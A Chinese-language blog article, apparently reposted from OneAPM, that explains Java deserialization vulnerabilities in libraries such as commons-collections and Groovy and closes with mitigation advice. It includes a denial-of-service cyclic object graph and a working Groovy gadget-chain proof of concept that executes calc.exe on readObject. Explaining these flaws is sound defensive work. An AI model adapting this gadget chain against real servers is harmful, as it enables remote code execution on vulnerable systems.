JAVA 反序列化攻擊

Java 反序列化攻擊漏洞由 FoxGlove 的最近的一篇博文爆出,該漏洞能夠被黑客利用向服務器上傳惡意腳本,或者遠程執行命令。html

因爲目前發現該漏洞存在於 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了這些包的服務器(目前發現有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方應用(Jenkins),以及依賴於這些服務器,框架或者直接/間接引用這些包的應用都會受到威脅,這樣的應用的數量會以百萬計。安全

說到漏洞存在的緣由,根本還在於 Java 序列化自身的缺陷,衆所周知,序列化的目的是使 Java 對象轉化成字節流,方便存儲或者網絡上傳輸。Java 對象分解成字節碼過程叫作序列化,從字節碼組裝成 Java 對象的過程叫作反序列化,這兩個過程分別對應於的 writeObject 和 readObject 方法。問題在於 readObject 在利用字節流組裝 Java 對象時不會調用構造函數, 也就意味着沒有任何類型的檢查,用戶能夠複寫 readObject() 方法執行任何但願執行的代碼。服務器

這可能會致使三方面問題:

1. 序列化對象修改了對象或者父類的某個未加保護的關鍵屬性,致使未預料的結果。
例如:網絡

class Client {
private int value;
public Client(int v) {
        if (v <= 0) {
            throw new RuntimeException("not positive number");
        }
        value = v;
    }
    public void writeObject(ObjectOutputStream oos) throws IOException {
        int value = 0; //這裏該值被改成0。(現實中能夠經過調試模式,修改serialize字節碼或者class instrument等多種方式修改該值)
        oos.defaultWriteObject();
    }
}
class Controller {
    private ArrayBlockingQueue<Client> queue;
    public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
        Client s = (Client)o.readObject(); //反序列化不調用構造函數,value的非零檢查不會觸發
        queue.add(s);
    }
    public Client getClient() throws InterruptedException {
        return (Client)queue.take();
    }
}
class Server extends Thread {
    private Controller controller = new Controller();
    private int result = 100;
    public void run() {
        while (true) {
            try {
                result = result / controller.getClient().getValue(); // 因爲value是0,會致使算數異常,線程結束
                Thread.sleep(100);
            } catch (InterruptedException e) {}
        }
    }
}

2. 攻擊者能夠建立循環對象鏈,而後序列化。會致使反序列化沒法結束, 空耗系統資源。例如:框架

Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
  Set t1 = new HashSet();
  Set t2 = new HashSet();
  t1.add("foo"); //使t2不等於t1
  s1.add(t1);
  s1.add(t2);
  s2.add(t1);
  s2.add(t2);
  s1 = t1;
  s2 = t2; 
}

3. 用戶在收到序列化對象流時能夠選擇存儲在本地,之後再處理。因爲沒有任何校驗機制,使得上傳惡意程序成爲可能。ide

class Controller {
    public void receiveState(ObjectInputStream ois) {
        FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
        fos.write(ois); //實際並不知道存的是什麼,多是惡意腳本。
        fos.close();
    }
}

那麼此次由 FoxGlove 暴露出來的 Serialization Attack 具體是怎樣呢?下面是 Groovy 的一個例子:函數

public class GroovyTest {
public static void main(String[] args) throws Exception {
    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
    Class<?>[] clsArr = {Map.class};
    final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
    final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(handler);
    byte[] bytes = bos.toByteArray(); //對象被序列化
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject(); //反序列化時calc.exe被執行
}
}

在這個例子中,ConvertedClosure 會把一個 Closure 對象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,會嘗試調用 entrySet() 方法,這會觸發 calc.exe 的調用。this

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if(var7 != null) {
            Object var8 = var5.getValue();
            if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

針對這個問題,FoxGlove Security 提到開發者不該該反序列化任何不信任的數據,而實際狀況倒是開發者對該問題的危害沒有足夠的認知,他提到一種激進的作法那就是若是你足夠勇敢能夠嘗試掃描並刪除存在反序列化漏洞的類,可是實際狀況是第一沒有人勇於冒這種風險,第二,當應用對象的依賴關係會很複雜,反序列化過程會致使不少關聯對象被建立,因此掃描不能保證全部的問題類被發現。線程

然而幸運的是,這個問題引發了一些安全公司的重視,在他們推出的 RASP(Runtime Application Security Protection)產品中會在應用運行期對該漏洞進行防禦。調試

本文轉自 OneAPM 官方博客

相關文章
相關標籤/搜索